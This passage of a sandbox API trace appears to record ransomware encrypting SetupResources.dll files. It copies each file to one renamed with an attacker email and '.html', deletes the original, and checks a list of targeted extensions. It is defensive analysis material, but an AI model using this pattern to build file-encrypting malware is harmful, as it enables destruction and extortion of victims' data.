	[0061.165] lstrlenW (lpString=".jpg") returned 4
	[0061.166] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.166] Sleep (dwMilliseconds=0x64) 
	[0061.611] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.611] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.611] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0061.612] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=19288) returned 1
	[0061.612] CloseHandle (hObject=0x2c0) returned 1
	[0061.612] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80
	[0061.612] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.612] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0061.612] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.612] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.612] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.614] GetLastError () returned 0x0
	[0061.614] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x4b58, lpOverlapped=0x0) returned 1
	[0061.616] WriteFile (in: hFile=0x2f8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x4b60, lpOverlapped=0x0) returned 1
	[0061.618] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.619] WriteFile (in: hFile=0x2f8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0061.619] SetEndOfFile (hFile=0x2f8) returned 1
	[0061.619] CloseHandle (hObject=0x2f8) returned 1
	[0061.620] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.620] SetEndOfFile (hFile=0x2c0) returned 1
	[0061.621] CloseHandle (hObject=0x2c0) returned 1
	[0061.621] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.622] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1
	[0061.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0061.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0061.622] lstrlenW (lpString=".doc") returned 4
	[0061.622] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.622] lstrlenW (lpString=".docx") returned 5
	[0061.622] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.622] lstrlenW (lpString=".pdf") returned 4
	[0061.622] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.622] lstrlenW (lpString=".xls") returned 4
	[0061.622] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.622] lstrlenW (lpString=".xlsx") returned 5
	[0061.622] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.622] lstrlenW (lpString=".ppt") returned 4
	[0061.622] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0061.622] lstrlenW (lpString=".zip") returned 4
	[0061.622] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.622] lstrlenW (lpString=".rar") returned 4
	[0061.622] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.622] lstrlenW (lpString=".bz2") returned 4
	[0061.623] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.623] lstrlenW (lpString=".7z") returned 3
	[0061.623] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0061.623] lstrlenW (lpString=".dbf") returned 4
	[0061.623] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0061.623] lstrlenW (lpString=".1cd") returned 4
	[0061.623] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0061.623] lstrlenW (lpString=".jpg") returned 4
	[0061.623] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0061.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0061.623] lstrlenW (lpString=".doc") returned 4
	[0061.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.623] lstrlenW (lpString=".docx") returned 5
	[0061.623] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.623] lstrlenW (lpString=".pdf") returned 4
	[0061.623] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.623] lstrlenW (lpString=".xls") returned 4
	[0061.623] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.623] lstrlenW (lpString=".xlsx") returned 5
	[0061.623] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.623] lstrlenW (lpString=".ppt") returned 4
	[0061.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0061.624] lstrlenW (lpString=".zip") returned 4
	[0061.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.624] lstrlenW (lpString=".rar") returned 4
	[0061.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.624] lstrlenW (lpString=".bz2") returned 4
	[0061.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.624] lstrlenW (lpString=".7z") returned 3
	[0061.624] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0061.624] lstrlenW (lpString=".dbf") returned 4
	[0061.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0061.624] lstrlenW (lpString=".1cd") returned 4
	[0061.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0061.624] lstrlenW (lpString=".jpg") returned 4
	[0061.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.624] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.624] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.624] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0061.624] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=17752) returned 1
	[0061.625] CloseHandle (hObject=0x2c0) returned 1
	[0061.625] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80
	[0061.625] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.625] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0061.625] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.625] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.625] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.627] GetLastError () returned 0x0
	[0061.627] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x4558, lpOverlapped=0x0) returned 1
	[0061.629] WriteFile (in: hFile=0x2f8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x4560, lpOverlapped=0x0) returned 1
	[0061.630] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.630] WriteFile (in: hFile=0x2f8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0061.630] SetEndOfFile (hFile=0x2f8) returned 1
	[0061.631] CloseHandle (hObject=0x2f8) returned 1
	[0061.632] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.632] SetEndOfFile (hFile=0x2c0) returned 1
	[0061.633] CloseHandle (hObject=0x2c0) returned 1
	[0061.633] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.634] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1
	[0061.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0061.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0061.634] lstrlenW (lpString=".doc") returned 4
	[0061.634] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.634] lstrlenW (lpString=".docx") returned 5
	[0061.634] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.634] lstrlenW (lpString=".pdf") returned 4
	[0061.634] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.634] lstrlenW (lpString=".xls") returned 4
	[0061.634] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.634] lstrlenW (lpString=".xlsx") returned 5
	[0061.634] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.635] lstrlenW (lpString=".ppt") returned 4
	[0061.635] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0061.635] lstrlenW (lpString=".zip") returned 4
	[0061.635] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.635] lstrlenW (lpString=".rar") returned 4
	[0061.635] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.635] lstrlenW (lpString=".bz2") returned 4
	[0061.635] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.635] lstrlenW (lpString=".7z") returned 3
	[0061.635] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0061.635] lstrlenW (lpString=".dbf") returned 4
	[0061.635] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0061.635] lstrlenW (lpString=".1cd") returned 4
	[0061.635] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0061.635] lstrlenW (lpString=".jpg") returned 4
	[0061.635] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0061.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0061.635] lstrlenW (lpString=".doc") returned 4
	[0061.635] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.635] lstrlenW (lpString=".docx") returned 5
	[0061.635] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.635] lstrlenW (lpString=".pdf") returned 4
	[0061.635] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.636] lstrlenW (lpString=".xls") returned 4
	[0061.636] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.636] lstrlenW (lpString=".xlsx") returned 5
	[0061.636] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.636] lstrlenW (lpString=".ppt") returned 4
	[0061.636] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0061.636] lstrlenW (lpString=".zip") returned 4
	[0061.636] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.636] lstrlenW (lpString=".rar") returned 4
	[0061.636] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.636] lstrlenW (lpString=".bz2") returned 4
	[0061.636] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.636] lstrlenW (lpString=".7z") returned 3
	[0061.636] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0061.636] lstrlenW (lpString=".dbf") returned 4
	[0061.636] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0061.636] lstrlenW (lpString=".1cd") returned 4
	[0061.636] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0061.636] lstrlenW (lpString=".jpg") returned 4
	[0061.636] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.636] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.637] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.637] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0061.637] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=18264) returned 1
	[0061.637] CloseHandle (hObject=0x2c0) returned 1
	[0061.641] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80
	[0061.641] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.641] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0061.641] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.642] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0061.644] GetLastError () returned 0x0
	[0061.644] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0061.645] WriteFile (in: hFile=0x2f8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0061.647] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.647] WriteFile (in: hFile=0x2f8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0061.647] SetEndOfFile (hFile=0x2f8) returned 1
	[0061.647] CloseHandle (hObject=0x2f8) returned 1
	[0061.649] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.649] SetEndOfFile (hFile=0x2c0) returned 1
	[0062.320] CloseHandle (hObject=0x2c0) returned 1
	[0062.320] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.321] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1
	[0062.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0062.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0062.321] lstrlenW (lpString=".doc") returned 4
	[0062.321] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.321] lstrlenW (lpString=".docx") returned 5
	[0062.321] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.321] lstrlenW (lpString=".pdf") returned 4
	[0062.321] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.321] lstrlenW (lpString=".xls") returned 4
	[0062.321] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.321] lstrlenW (lpString=".xlsx") returned 5
	[0062.321] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.321] lstrlenW (lpString=".ppt") returned 4
	[0062.321] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0062.322] lstrlenW (lpString=".zip") returned 4
	[0062.322] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.322] lstrlenW (lpString=".rar") returned 4
	[0062.322] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.322] lstrlenW (lpString=".bz2") returned 4
	[0062.322] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.322] lstrlenW (lpString=".7z") returned 3
	[0062.322] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0062.322] lstrlenW (lpString=".dbf") returned 4
	[0062.322] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0062.322] lstrlenW (lpString=".1cd") returned 4
	[0062.322] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0062.322] lstrlenW (lpString=".jpg") returned 4
	[0062.322] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0062.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0062.322] lstrlenW (lpString=".doc") returned 4
	[0062.322] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.322] lstrlenW (lpString=".docx") returned 5
	[0062.322] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.322] lstrlenW (lpString=".pdf") returned 4
	[0062.322] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.322] lstrlenW (lpString=".xls") returned 4
	[0062.323] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.323] lstrlenW (lpString=".xlsx") returned 5
	[0062.323] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.323] lstrlenW (lpString=".ppt") returned 4
	[0062.323] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0062.323] lstrlenW (lpString=".zip") returned 4
	[0062.323] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.323] lstrlenW (lpString=".rar") returned 4
	[0062.323] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.323] lstrlenW (lpString=".bz2") returned 4
	[0062.323] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.323] lstrlenW (lpString=".7z") returned 3
	[0062.323] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0062.323] lstrlenW (lpString=".dbf") returned 4
	[0062.323] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0062.323] lstrlenW (lpString=".1cd") returned 4
	[0062.323] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0062.323] lstrlenW (lpString=".jpg") returned 4
	[0062.323] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.323] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0062.323] lstrlenW (lpString="SetupResources.dll") returned 18
	[0062.323] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.324] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=18776) returned 1
	[0062.324] CloseHandle (hObject=0x2c0) returned 1
	[0062.324] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80
	[0062.324] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.324] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.324] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0062.326] GetLastError () returned 0x0
